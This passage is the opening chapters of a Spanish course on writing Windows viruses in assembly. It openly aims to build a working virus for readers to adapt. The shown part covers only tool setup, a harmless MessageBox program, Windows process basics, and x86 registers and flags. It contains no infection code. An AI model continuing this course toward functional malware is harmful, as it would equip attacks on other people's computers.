Capítulo 1 - index-of.co.ukindex-of.co.uk/Various/programaci%f3n%20de%20virus%20en%20AS… · Creo...

107
Introducción a la programación de virus en ASM – zeroPad capítulo 1 [email protected] pág 1 Capítulo 1 Preparando las mesa de trabajo La idea es armar una introducción a la programación de virus en ASM para Windows. Para desarrollar esto vamos a ir armando paso a paso un virus real para ir viendo las partes principales que lo componen y a la vez vamos a tocar temas fundamentales en la creación de estos especimenes como son la administración de memoria, el manejo estructurado de excepciones (SEH), formatos de los archivo portables ejecutables (PE), y un largo etc. Si todo va bien, cuando terminemos vamos a tener desarrollado un virus funcional que luego servirá de punto de partida para que puedan realizar sus propias creaciones, de todas formas el tema principal es que se entienda cada parte del mismo en profundidad, no solamente la mecánica, sino para que se realiza y por que se hace de esa forma. Creo que lo esencial es comprender el funcionamiento interno de un virus, ya que si lo que queremos es obtener un código fuente lo podemos buscar en Internet y listo. Tengo que aclarar algo, dentro de este curso vamos a ver cosas desde cero pero algunas no las vamos a poder tratar con demasiada profundidad ya que si no se haría demasiado extenso. Pero voy a ir dejando referencias para que puedan profundizar cada tema visto. Bueno, vamos a la acción. Todas las herramientas que vamos a utilizar son de distribución gratuita. Vamos a trabajar con algunas herramientas básicas las cuales les voy a contar como configurarlas para que puedan tener todo listo para que arranquemos, y más adelante veremos otras complementarias según las vayamos necesitando. MASM El assembler que vamos a utilizar es Microsoft Macro Assembler (MASM), el cual es un assembler de alto nivel creado por Microsoft, el cual se puede conseguir en forma gratuita desde la dirección http://www.masm32.com/ . La elección de este lenguaje es por que hay mucha información del mismo (como los excelentes tutes de Iczelion) y además se lleva muy bien con la otra herramienta que vamos a utilizar (RadASM). De todas formas todo lo que vamos a ver es muy fácil portarlo a otro assembler como TASM, NASM, etc. La instalación es muy sencilla, bajamos el instalador de la página que les mencionaba mas arriba, y luego lo descomprimimos. Se extrae un único archivo llamado “install.exe”, el cual ejecutamos y nos aparece la siguiente pantalla: Seleccionamos el disco donde lo vamos a instalar y hacemos clic en “Start”.

Transcript of Capítulo 1 - index-of.co.ukindex-of.co.uk/Various/programaci%f3n%20de%20virus%20en%20AS… · Creo...

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 1

Capítulo 1

Preparando las mesa de trabajo

La idea es armar una introducción a la programación de virus en ASM para Windows. Para desarrollar esto vamos a ir armando paso a paso un virus real para ir viendo las partes principales que lo componen y a la vez vamos a tocar temas fundamentales en la creación de estos especimenes como son la administración de memoria, el manejo estructurado de excepciones (SEH), formatos de los archivo portables ejecutables (PE), y un largo etc. Si todo va bien, cuando terminemos vamos a tener desarrollado un virus funcional que luego servirá de punto de partida para que puedan realizar sus propias creaciones, de todas formas el tema principal es que se entienda cada parte del mismo en profundidad, no solamente la mecánica, sino para que se realiza y por que se hace de esa forma. Creo que lo esencial es comprender el funcionamiento interno de un virus, ya que si lo que queremos es obtener un código fuente lo podemos buscar en Internet y listo. Tengo que aclarar algo, dentro de este curso vamos a ver cosas desde cero pero algunas no las vamos a poder tratar con demasiada profundidad ya que si no se haría demasiado extenso. Pero voy a ir dejando referencias para que puedan profundizar cada tema visto. Bueno, vamos a la acción. Todas las herramientas que vamos a utilizar son de distribución gratuita. Vamos a trabajar con algunas herramientas básicas las cuales les voy a contar como configurarlas para que puedan tener todo listo para que arranquemos, y más adelante veremos otras complementarias según las vayamos necesitando.

MASM El assembler que vamos a utilizar es Microsoft Macro Assembler (MASM), el cual es un assembler de alto nivel creado por Microsoft, el cual se puede conseguir en forma gratuita desde la dirección http://www.masm32.com/. La elección de este lenguaje es por que hay mucha información del mismo (como los excelentes tutes de Iczelion) y además se lleva muy bien con la otra herramienta que vamos a utilizar (RadASM). De todas formas todo lo que vamos a ver es muy fácil portarlo a otro assembler como TASM, NASM, etc. La instalación es muy sencilla, bajamos el instalador de la página que les mencionaba mas arriba, y luego lo descomprimimos. Se extrae un único archivo llamado “install.exe”, el cual ejecutamos y nos aparece la siguiente pantalla:

Seleccionamos el disco donde lo vamos a instalar y hacemos clic en “Start”.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 2

Luego nos pide que confirmemos la instalación y nos avisa que no debe ejecutarse en background o con baja prioridad ya que necesita mucho procesador para compilar las librerías necesarias. Le damos aceptar y nos sale un mensaje para que se proceda a instalar el MASM:

Le damos a ‘Extract’ y comienza a descomprimirse en el disco rígido. Luego aparecerá una ventana DOS para que confirmemos la compilación de unas librerías que necesita. Nos va a pedir varias confirmaciones hasta que muestra que la instalación se realizó con éxito:

OllyDBG

Para quien no lo conoce, el OllyDBG es un excelente debugger para programas en Windows de 32 bits. Este programa trabaja en Ring 3, que para empezar con un poco de teoría les comento de que se trata. Los procesadores X86 de Intel y compatibles tienen 4 niveles de privilegio: Ring 0: mayor privilegio (nivel kernel), sobre este se ejecuta el sistema operativo Ring 1 Ring 2 Ring 3: menor privilegio (nivel usuario) Win32 solamente soporta ring0 y ring3. En ring3 no tenemos acceso directo a los puertos, ni a zonas de memoria específicas, ni podemos controlar cualquier proceso, etc. De todas formas nosotros nos vamos a basar en ring3, ya que es lo mas recomendable si queremos tener una mayor compatibilidad con los sistemas operativos. Los virus que logran correr sobre ring0 se basan en ciertos bugs de los SO (sistemas operativos), pero esto los limita para nuevas versiones del mismo o a parches de seguridad que corrijan dicho error. Veamos un poco mas de esto. Cuando nosotros estamos en ring3 y queremos acceder al disco rígido, llamamos a una API (que es una función que nos provee el SO, ya veremos

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 3

mas detalladamente de que va esto). Esa API se ejecuta dentro del kernel, el cual entra en modo privilegiado, ejecuta el acceso al medio físico y luego vuelve al nivel usuario para devolverle el control al programa que lo solicitó. De esta forma el SO nos aisla de ring 0. Bueno, volvamos al OllyDBG. Se puede bajar desde la dirección http://www.ollydbg.de/. Una vez descargado descomprímanlo en una carpeta, por defecto yo lo voy a poner en C:\OllyDBG. Este programa tiene varios plugins, los cuales lo que hacen es agregarle funcionalidades al mismo para hacernos las cosas mas fáciles. Si buscan en Internet van a encontrar miles, de todas formas de momento lo vamos a dejar sin nada y luego vamos a ir agregándole algunos a medida que vayamos necesitándolos. Para configurarlo entramos en el programa, el cual nos muestra un mensaje que nos indica que la DLL que esta en la carpeta de OLLYDBG es mas antigua que la de sistema, si apretamos ‘No’ va a dejar la del sistema. Elegimos esa opción y ya estamos en Olly.

Para ver las distintas partes del programa abramos cualquier ejecutable, incluso puede ser el mismo Olly. Para esto vamos a File -> Open y seleccionamos el archivo a abrir. Nos mostrará una pantalla similar a la siguiente, donde veremos las siguientes partes:

Ya vamos a ir viendo cada cosa con más detalle a medida que avancemos.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 4

Para darle mas claridad al código y así poder entenderlo mejor vamos a resaltar los saltos (jmp) y las llamadas a subrutinas (call). Para eso presionamos el clic derecho del mouse sobre la ventana de desensamblado y seleccionamos Appearance -> Highlighting -> Jumps´n´calls:

Ahora nos va a mostrar el código en forma mas clara, resaltando los saltos con distintos colores:

Los call y ret los pone en negro con fondo azul. Los saltos incondicionales (JMP) se ven en negro sobre amarillo y los saltos condicionales (JE, JB, JNB, JL, etc.) se ven en rojo sobre amarillo. Más adelante vamos a ver de qué se trata esto de los saltos y los call. Vamos a configurar algo más para ver más claramente los saltos. Para esto hay que ir a Options -> Debugging options, elegimos la solapa ‘CPU’ y tildamos ‘Show jump path’, ‘Show grayed path if jump is not taken’ y ‘Show jumps to selected command’.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 5

Ahora, cuando estemos parados sobre un salto nos va a mostrar con una flecha hacia donde está dirigido, y si el mismo es condicional lo va a mostrar en distintos colores según si va a ejecutar el salto o no. Sobre la parte superior hay una barra de herramientas, las cuales vamos a ver rápidamente:

L: log data, muestra un detalle de lo que va haciendo el Olly (cuando arranca el programa, cuando genera un error, etc.) E: executable modules, muestra todos los módulos que utiliza el programa debuggeado, el propio exe, las librerías que carga, etc. M: memory map, como su nombre lo indica nos muestra un mapa de la memoria donde está nuestro programa, las dll que utiliza, etc. T: threads, nos muestra los hilos de ejecución que utiliza nuestro proceso (esto lo vamos a ver luego con mas detalle) W: windows, nos muestra las ventanas que tiene abiertas el programa H: handles, son los manejadores que utiliza nuestro programa (también lo vamos a ver bien mas adelante) C: cpu, la pantalla principal del Olly /: patches, muestra los parches que se aplicaron al programa K: call stack of main thread, muestra los distintos calls a los que vamos entrando B: breakpoints, nos muestra los distintos breakpoints que hemos puesto en nuestro programa (lo que hacen es interrumpir la ejecución y darle el control al debugger) R: references, nos muestra las referencias cuando realizamos alguna búsqueda …: run trace, nos muestra el resultado de un traceo, esto es cuando elegimos la opción de que guarde todo lo que va ejecutando el Olly S: source, muestra el código fuente, pero solo está disponible si el ejecutable contiene información de debuggin en formato Borland Por ahora no vamos a ver nada mas de Olly, si más adelante a medida que lo vayamos necesitando.

RadASM El RadASM es un IDE (entorno integrado de desarrollo) que facilita la programación ya que integra varias herramientas que nos van a ayudar a la hora de programar (compilador, debugger, ayudas, etc.).

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 6

Este IDE sirve para varios lenguajes pero lo vamos a instalar y adaptar a MASM. El sitio para descargarlo es: http://www.radasm.com/. Desde acá vamos a descargar varios archivos que nos van a servir para la instalación y la configuración del RadASM: . RadASM IDE pack . RadASM Assembly programming . RadASM language pack . Win32 help file Lo primero que hay que hacer es descomprimir el archivo RadASM.zip dentro del disco C: en una carpeta que se llame RadASM (si bien se puede instalar en cualquier lugar -al igual que MASM y el OllyDBG- yo voy a mostrar las opciones por defecto). Una vez que tenemos los archivos descomprimidos vamos a instalar el paquete de idiomas para poder ponerlo en español. Para esto debemos descomprimir el archivo RadLNG.zip dentro de la carpeta C:\RadASM de tal forma que queden los archivos en C:\RadASM\Language. Luego descomprimimos el archivo Assembly.zip dentro de C:\RadASM\ Assembly. Como lo que a nosotros nos interesa es MASM lo que vamos a hacer es pasar el archivo masm.ini y toda la carpeta Masm al directorio C:\RadASM. Por último extraemos el archivo win32.zip en el directorio C:\RadASM. Después de todo esto debe quedar algo así:

Ahora vamos a configurar el IDE. Ingresamos al programa RadASM.exe y vamos a la opción Option -> Language:

Elegimos la opción “Español” y le damos OK. Ahora veremos todas las opciones en español. Mucho mejor. Ahora vamos a configurar el MASM. Para esto vamos a Opciones -> Programming Languages. Por defecto nos muestra html, presionamos el botón Delete y lo eliminamos. Ahora hacemos clic sobre el botón que tiene los tres puntitos y nos aparece un cuadro de diálogo donde nos pide el lenguaje a configurar. Seleccionamos masm.ini y le damos Abrir.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 7

Por último presionamos el botón Add y nos va a quedar algo así:

Le damos OK y ya tenemos configurado el MASM dentro de RadASM. Luego de esto cerramos y volvemos a abrir el RadASM para que nos tome los cambios. Ahora tenemos que decirle al IDE donde encontrar los programas que vamos a utilizar. Para esto vamos a Opciones -> Fijar Rutas. Si instalamos los programas en las rutas por defecto no vamos a tener que modificar nada, sino le decimos donde encontrar cada programa.

Por ahora esto es todo, luego utilizaremos otras herramientas como editores PE, editores hexadecimales y demás, pero las vamos a ir viendo a medida que las vayamos necesitando. Estas que vimos son las fundamentales y sería bueno para el que no tiene experiencia en las mismas que practique mucho para poder sacarles provecho.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 8

Capítulo 2

Temas básicos de Windows

En este capítulo vamos a ver algunos conceptos que hay que tener bien claros antes de comenzar a programar nuestro código. Vamos a ver como hace Windows para ejecutar un programa y como sería el formato básico de un programa en MASM. Como siempre vamos a ver lo básico y le dejo a cada uno la tarea de profundizar cada tema. Aunque parezca menos importante, si realmente queremos programar virus de calidad es necesario que se entiendan determinadas cosas. Empecemos. Vamos a realizar nuestro primer programa en assembler para explicar todo sobre el. Lo que va a hacer nuestro programa es simplemente mostrar un mensaje en una ventana. Para esto vamos a abrir el RadASM y seleccionamos Archivo -> Nuevo archivo y nos va a dejar una pantalla vacía para que comencemos a escribir nuestro código. Dentro de esta ventana copiamos lo siguiente: .386 .model flat, stdcall option casemap:none include windows.inc include user32.inc include kernel32.inc includelib user32.lib includelib kernel32.lib .data mensaje db "Primer programa de prueba", 0 titulo db "Sector Virus", 0 .code codigo: push MB_OK + MB_ICONINFORMATION push offset titulo push offset mensaje push 0 call MessageBox push 0 call ExitProcess

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 9

end codigo Antes que nada vamos a guardarlo, para esto hacemos clic en Archivo -> Guardar archivo y seleccionamos donde guardarlo. Podemos crear una carpeta donde iremos poniendo nuestro código generado, por ejemplo yo creé la carpeta C:\Laboratorio, y le ponemos algún nombre. Yo le puse asm001.asm. Ahora hay que compilarlo y luego generar el ejecutable para poder correrlo, para esto hacemos clic primero en el icono que dice ‘Ensamblar’ y luego sobre el que dice ‘Estructurar’ (prefiero como se dice en inglés, ‘Link’ y ‘Build’).

Por último le damos a ejecutar y voilá, nos muestra la famosa ventanita con el mensaje que le pusimos.

Ahora veamos rápidamente que es cada cosa: .386 Esto le dice al ensamblador que vamos a usar el conjunto de instrucciones del 80386, también podemos usar .486, .586., .486p, etc. .model flat, stdcall .model especifica el modelo de memoria del programa, en Win32 hay un solo tipo de memoria, la plana (flat). Con este modelo de memoria es como si tuviéramos 4 Gb de memoria disponible para nuestro programa (2^32 = 4294967296, ya que estamos trabajando en 32 bits). Cuando ejecutemos nuestro programa vamos a ver esos 4 Gb de memoria, lo cual no significa que tengamos 4 Gb de memoria RAM disponible. Windows utiliza parte de la RAM y parte del disco rígido para ejecutar los programas de acuerdo al requerimiento de memoria que tenga, a este método se lo denomina ‘memoria virtual’, obviamente no utiliza disco rígido a menos que sea absolutamente necesario ya que la velocidad de acceso es mucho menor.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 10

El SO (sistema operativo), para optimizar el proceso de manejo de memoria la fragmenta en bloques, a los cuales llama ‘páginas de memoria’, esta ‘pagina’ representa el bloque mínimo de memoria a leer o a escribir, normalmente en Windows es de 4Kb. Para poder manejar este esquema utiliza unas tablas denominadas ‘tablas de páginas’ por medio de las cuales relaciona secciones de esa memoria que nosotros utilizamos con memoria física real. Cuando referenciamos una dirección de memoria, Windows traduce la dirección virtual en una real, luego verifica si está cargada en memoria. En caso de que no sea así genera lo que se llama un ‘fallo de página’ y la carga en memoria RAM para que la podamos utilizar. stdcall Indica al ensamblador el orden que debe seguirse para pasar parámetros, ‘izquierda a derecha’ o ‘derecha a izquierda’ option casemap:none Esto simplemente le indica al compilador que sea sensible a mayúsculas y minúsculas, o sea que no es lo mismo poner messagebox que MessageBox. Cuidado con esto que a veces nos olvidamos y nos genera varios dolores de cabeza. include Este comando sirve para adjuntar dentro de nuestro código otros archivos (generalmente con extensión .inc) que incluyen variables, estructuras y definiciones de funciones para luego poder utilizarlas, por ejemplo: MB_ICONEXCLAMATION equ 30h MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD En el primer caso se trata de la declaración de una constante, el segundo caso es la definición del prototipo de una API. includelib Sirve para indicarle al compilador que librerías necesitamos que nos importe para poder ejecutar nuestro programa. Veamos un poco más que es esto de librerías y funciones. Para que podamos ejecutar nuestros programas, Windows nos provee una colección de funciones que se denominan APIs (Application Programming Interface), o sea ‘Interface de Programación de Aplicaciones’. Estas funciones residen en librerías de enlace dinámico (DLLs) como son kernel32.dll, user32.dll, etc. Estas funciones no se incluyen directamente en nuestro programa, sino que en el mismo se generan referencias para que en el momento de su ejecución las pueda utilizar y sepa donde encontrarlas. Esto proceso se realiza por medio de unas tabla que se incluyen en nuestros programas denominadas IT (Import Table) e IAT (Import Address Table).

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 11

Básicamente, cuando Windows carga nuestro programa para ejecutarlo lo que hace es ver esas tablas para saber que funciones necesita y llena las mismas con las direcciones en memoria donde residen estas funciones. Esto es así para que nuestro programa pueda ser ejecutado en distintas PCs o con distintos sistemas operativos, e incluso con distintas versiones del mismo SO, las cuales a veces cargan las funciones en distintas zonas de memoria. Esta mecánica garantiza la compatibilidad entre los distintos SO. Mas adelante vamos a ver esto con un poco más de profundidad, ya que es un tema básico para la creación de nuestros especimenes. .data / .code Esto determina las secciones que va a tener nuestro programa. Lo que hace esto es dividir nuestro código en segmentos lógicos, cada uno de los cuales va a tener un fin específico, por ejemplo .data es para declarar variables y .code para alojar el código ejecutable de nuestro programa. Podemos tener varias secciones mas como puede ser .const para las constantes o .data? para las variables no inicializadas (se reserva un espacio de memoria pero no se determina su valor inicial). Para ver esto un poco mejor ejecutemos el OllyDBG y abramos el programa que acabamos de crear. Luego presionamos sobre el icono que nos muestra la memoria (M):

Olly nos muestra un mapa de memoria en donde veremos los segmentos que tiene asignado nuestro programa.

Acá vamos a distinguir: . la primera indica la dirección a partir de la cual comienza ese bloque de memoria . la segunda indica el tamaño que ocupa . la tercera el nombre del programa que la está utilizando . la cuarta el nombre de la sección, acá vemos las dos que definimos más una tercera llamada .rdata donde tenemos el detalle de las funciones importadas, y una que dice PE header, esto lo vamos a ver luego mas detalladamente mensaje db "Primer programa de prueba", 0 Seguimos con el programa, esta línea lo que hace es definir una variable llamada ‘mensaje’ del tipo byte (db = data byte) inicializada como “Primer programa de prueba” y terminada en 0, a estas cadenas se las denomina asciiz, son strings terminados en cero, para indicar donde terminan. Aparte de datos del tipo byte (db), tenemos: dw: data word (16 bytes) dd: data double word (32 bytes)

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 12

codigo: ...... ...... end codigo Esto indica donde comienza y termina nuestro código, el nombre es arbitrario, y le podríamos haber puesto virus.....end virus o lo que quisiéramos. push 0 call ExitProcess Esta es una llamada típica a una API, primero se empujan a la pila los parámetros necesarios (ya vamos a ver de que se trata esto de la pila mas detalladamente) y luego se llama a la función. En este caso la función es ExitProcess con el parámetro cero, la cual termina nuestro programa (y le devuelve el control al SO) con el valor que queremos que retorne, en este caso cero. Veamos algo, cuando instalamos los programas bajamos un archivo llamado WIN32.HLP, bueno en él están las definiciones de las APIs. Veamos un ejemplo. Abrimos RadASM, y presionamos Ayuda -> Win32 Api:

En la búsqueda tipeamos MessageBox y presionamos el botón ‘Mostrar’. Nos mostrará el detalle de la función, los parámetros que hay que pasarle y los valores que devuelve: The MessageBox function creates, displays, and operates a message box. The message box contains an application-defined message and title, plus any combination of

predefined icons and push buttons.

int MessageBox( HWND hWnd, // handle of owner window

LPCTSTR lpText, // address of text in message box LPCTSTR lpCaption, // address of title of message box

UINT uType // style of message box ); .............. ..............

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 13

Para usarla en nuestro código tenemos que poner en la pila (stack) los parámetros y luego llamamos a la función con el comando call: push MB_OK + MB_ICONINFORMATION

push offset titulo push offset mensaje

push 0 call MessageBox MB_OK y MB_ICONINFORMATION son dos constantes que están definidas en el archivo windows.inc que incluímos anteriormente. Si quieren verlo está dentro de C:\masm32\include. Stack La pila o stack es un área de memoria usada por el programa para guardar variables Temporales, argumentos de funciones, direcciones de memoria, etc. Se basa en una metodología denominada LIFO (last in, first out), o sea que el último en entrar será el primero en salir. Para entender mejor esto imaginemos una pila de libros, donde vamos poniendo uno encima del otro y cuando queremos sacar uno empezamos siempre por el que tenemos en la parte superior. Por este motivo los parámetros que empujamos a la pila antes de llamar a la función se colocan en orden inverso a como lo vemos en la ayuda (ojo con esto). Algo más que vemos en el código que generamos es el operador offset, el cual es usado para pasar la dirección de una etiqueta a una función, ojo, no el valor, sino la dirección donde se encuentra en memoria. Abramos el Olly y carguemos el programa.

Vemos que el Olly detecta automáticamente la llamada a MessageBox y nos pone un detalle de los parámetros que le pasamos. Veamos en el segundo push, lo que hace es empujar en la pila el valor 40301A ¿qué es esto? Nada más ni nada menos que la dirección de nuestra variable ‘titulo’ en memoria, esto lo podemos ver en la ventana dump. Nos paramos sobre la ventana de dump (volcado de memoria) y presionamos Ctrl-G, este comando es para buscar una dirección de memoria. Introducimos 40301A y le damos ‘OK’.

Vemos que nos muestra el mensaje que habíamos puesto. Tengamos bien presente esto ya que es básico, no pasamos el mensaje en sí, sino una referencia al mismo.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 14

Antes de continuar veamos unos conceptos que también son importantes. Cuando nuestro programa está en disco no puede realizar ninguna acción, para que esto suceda el SO operativo tiene que ‘ejecutarlo’, básicamente lo que hace el SO como vimos antes es crear un espacio de memoria para alojarlo y crea también unas estructuras para poder correrlo. Recordemos que estamos en un entorno multiproceso por eso Windows debe mantener varios procesos ejecutándose a la vez (para definir proceso digamos que es un programa en ejecución). El SO lleva una tabla por cada proceso en ejecución llamada PEB (Process Environment Block) donde contiene datos del proceso para luego retomar su ejecución. Además de procesos tenemos algo llamado threads, esto básicamente significa ´hilo de ejecución’. Por cada proceso tenemos por lo menos uno. Los hilos permiten dividir un programa en más de una tarea para que corran simultáneamente (multiprogramación). Para manejar esta información el SO mantiene una estructura llamada TIB (Thread Information Block). Los threads comparten la CPU de la misma forma que lo hacen los procesos, sin embargo los threads de un proceso no son independientes ya que todos comparten el mismo espacio de direcciones, las mismas variables globales, el mismo conjunto de archivos abiertos, los procesos hijos, etc. Abramos nuestro querido OllyDBG y llamemos nuevamente a nuestro programa. Presionemos sobre la opción ‘Show threads’ (T):

Y veremos los hilos de ejecución de nuestro proceso. En este caso tenemos solo un proceso con un único hilo pero según el programa acá podemos tener varios.

También podemos ver todos los procesos en ejecución en este momento en nuestra computadora, si en Windows presionamos Ctrl-Alt-Supr y elegimos la opción ‘Administrador de tareas’, y luego vamos a la solapa que dice ‘Procesos’:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 15

Para terminar, veamos que son los ‘módulos’ de un programa. Cuando Win32 carga el programa para ser ejecutado necesita de ciertos recursos que el SO pone a su disposición. Estos recursos son los módulos, y van a estar compuestos por el propio programa y todas las librerías que necesite (kernel32.dll, user32.dll, etc.). Cada módulo en memoria se correlaciona directamente con un archivo en alguna parte del disco. Un EXE o un DLL por sí mismo no es un módulo, el cargador (loader) lo tiene que cargar primero en memoria. Como siempre, veamos esto en Olly. Abramos nuevamente nuestro programa y presionemos sobre el icono ‘Show modules’ (E):

Vamos a ver los módulos que utiliza nuestro programa:

La información que nos muestra es la siguiente: . base de la memoria a partir de la cual es cargado . tamaño . punto de entrada (EP = entry point), esto lo vamos a ver mas adelante . nombre . versión del archivo . ruta en el disco y nombre del programa

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 16

Capítulo 3

Assembler

La idea para este capítulo es ver algunos conceptos básicos de assembler que van a ser necesarios para programar el virus y de paso vamos a aprender algunas cosas de Ollydbg que nos van a ser útil luego. No va a ser un ‘curso de assembler’, ya que el tema da para mucho, y además hay muy buenos cursos por la red. Solo vamos a ver algunas cosas básicas que si o si necesitamos saber para programar nuestro virus. Una aclaración, de acá en más vamos a utilizar siempre numeración hexadecimal, o sea que emplearemos los caracteres del 0 al 9 mas las letras A, B, C, D, E y F. Hay que acostumbrarse a esto ya que es una forma estándar de representar la información, tanto de los programas (opcodes), como en el dump, la memoria y los registros. De todas formas conviene siempre aclarar que tipo de numeración estamos empleando, para esto se agrega un sufijo al final del número: h-hexadecimal o-octal b-binario d-decimal. Vamos a instalar un plugin que es muy útil en Ollydbg, y de paso veremos como instalar fácilmente cualquier plugin de este programa. La herramienta que veremos se llama CommandBar, y es muy útil una vez que nos acostumbramos a ella. Lo que tenemos que hacer es crear una carpeta donde poner todos nuestros plugins, yo la creé dentro del directorio del Olly, de la siguiente forma: C:\OllyDBG\plugins, pero le pueden poner cualquier nombre. Copiaremos en ese directorio el plugin, en este caso ‘CmdBar.dll’. Luego abrimos el Ollydbg y vamos a la opción del menú que dice Options -> Appearance

Y luego en la solapa ‘Directories’ ponemos el path donde colocaremos nuestros plugins:

Ahora solo tenemos que reiniciar el Olly y listo.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 17

La próxima vez que necesitemos un plugin solo tenemos que copiarlo dentro de esa carpeta y ya va a estar disponible para utilizarlo. Lo que hace esta herramienta es ponernos en la parte inferior del Olly una barra desde donde vamos a poder ingresar algunos comandos, los cuales ya iremos viendo. Para probar como funciona coloquemos en la barra lo siguiente ‘? 012 + 0A0’ y démosle enter:

Lo que hicimos fue utilizar el comando ? para que nos muestre algo y luego le pusimos dos valores en hexa para que los sumara (una aclaración, siempre que pongamos valores en hexa que empiecen con una letra tenemos que anteponerle un cero sino nos da error, como el caso del 0A0). El resultado lo muestra en hexa, en decimal y el valor ASCII correspondiente. Sigamos ahora con Assembler y empecemos con lo más básico, los registros. Los registros Los registros los podemos ver como espacios físicos que residen dentro del procesador y se emplean para controlar instrucciones en ejecución, manejar direccionamientos de memoria y proporcionar capacidades aritméticas y lógicas. Siempre que hablemos de registros vamos a hacer referencia a los registros de 32 bits, los cuales aparecieron con los procesadores 386 en adelante, no a los antiguos registros de 16 bits que utilizábamos en programas DOS. Registros de uso general: EAX: también llamado acumulador, es un registro de propósito general pero también muy utilizado en operaciones matemáticas, para obtener datos devueltos por algunas APIs como por ejemplo FindFirstFileA, etc. Podemos utilizar también los últimos valores como si fuera un registro de de 16 bits (AX), y a su vez podemos dividir AX en dos registros de 8 bits (AH y AL).

Vamos al Olly, abramos el programa que hicimos en el capítulo anterior (o cualquier otro), y sobre la ventana de registros hagamos doble clic sobre EAX, nos muestra una ventana para editarlo, y escribamos 12345678 y presionemos OK.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 18

Vemos que EAX toma el valor que ingresamos, ahora vayamos a la barra de comandos y escribamos? EAX, vemos que nos muestra el valor completo 12345678. Ahora escribamos? AX y vemos que nos muestra 5678, las últimas 4 cifras. Lo mismo si ponemos? AH muestra 56 y ? AL 78.

EBX: también llamado base, además de su uso general se lo suele utilizar para direccionar el acceso a datos situados en la memoria. También lo podemos dividir en BX, BH y BL. ECX: también llamado contador, además de su uso general se utiliza como contador en determinadas instrucciones, como por ejemplo cuando creamos bucles en el programa (secciones de código que se ejecutan varias veces. También podemos usar CX, CH y CL. EDX: también llamado de datos, además de su uso general, se utiliza junto con EAX para formar números mayores de 32 bits en algunas instrucciones, como las de multiplicar y dividir. También se lo utiliza en operaciones de Entrada/Salida. Podemos utilizar EDX, DX, DH y DL. Registros de puntero: ESP: es un registro que apunta a la dirección del último valor introducido en la pila, o sea del primero que podríamos sacar. Cuando ingresamos o sacamos valores del stack el SO lo actualiza automáticamente para que siempre apunte al último valor. De todas formas podemos modificarlo desde nuestro código, ya veremos como. Pueden utilizarse los 16 bits inferiores con SP. EIP: este registro apunta a la dirección de la próxima instrucción a ejecutarse y se va modificando automáticamente según se va ejecutando el programa. Registros de base: EBP: se utiliza para direccionar el acceso a datos situados en la pila y también para uso general. Pueden utilizarse los 16 bits inferiores con BP.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 19

Registros de índice: ESI y EDI: se utilizan para acceder a posiciones de memoria, por ejemplo cuando queremos trasferir datos de un lugar a otro o cuando queremos comparar dos bloques de memoria contigua. ESI actúa como puntero al origen (source) y EDI como puntero al destino (destination). Podemos acceder a los bytes inferiores con SI y DI. Los flags El registro de flags es también un registro de 32 bits, donde cada uno de estos bits tiene un significado propio, que generalmente son modificados por las operaciones que realizamos en el código, y los cuales se los utiliza para tomar decisiones en base a las mismas: comparaciones, resultados negativos, resultados que desbordan los registros, etc. De estos 32 bits se utilizan solo 18, de estos vamos a ver los 8 más importantes, que son los que nos muestra el Olly sobre el costado derecho:

C (Carry o acarreo): se pone a uno cuando se efectúa una operación que no cabe en el espacio correspondiente al resultado. P (Paridad): se pone a uno cuando se efectúa una operación cuyo resultado contiene un número par de bits con el valor 1. A (Auxiliar): similar al de acarreo (C), pero para las operaciones efectuadas con números en formato BCD (Binary Coded Decimal), o sea decimal codificado en binario. Z (Cero): se pone a uno cuando se efectúa una operación cuyo resultado es cero. Ojo con esto por que a veces confunde, si se pone en cero, el resultado es distinto de cero y viceversa. S (Signo): se pone en uno si el resultado de una operación da como resultado un valor negativo T (Detención): si está en uno el procesador genera automáticamente una interrupción después de la ejecución de cada instrucción, lo que permite controlar paso a paso la ejecución del programa. D (Dirección): en este caso este flag no cambia por acciones realizadas, sino que lo modificamos desde nuestro código para afectar ciertas operaciones, ya que indica la dirección a utilizar en ciertos comandos (hacia adelante o hacia atrás), como por ejemplo en comparaciones de bloques de memoria contiguos. Para modificarlo utilizamos las instrucciones std y cld, que luego veremos.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 20

O (Overflow o desbordamiento): se pone a uno cuando se efectúa una operación cuyo resultado cambia de signo, dando un resultado incorrecto. Las instrucciones Ahora vamos a ver algunas instrucciones que podemos utilizar para crear nuestros programas. Obviamente no vamos a ver todas, solamente unas cuantas que creo importantes, el resto se los dejo para que lo vea cada uno. Las instrucciones se representan de dos maneras: mediante el opcode o código de operación y el nombre o mnemónico, esto es importante ya que lo vamos a necesitar para la codificación de nuestro virus, además nos sirve para entender un poco mejor como trabaja el procesador por dentro. Además los opcodes de cada instrucción es necesario conocerlos y manejarlos si luego queremos dotar a nuestro especimen de polimorfismo, ofuscación de código y otras técnicas avanzadas. Abramos el Olly y veamos en la ventana de código:

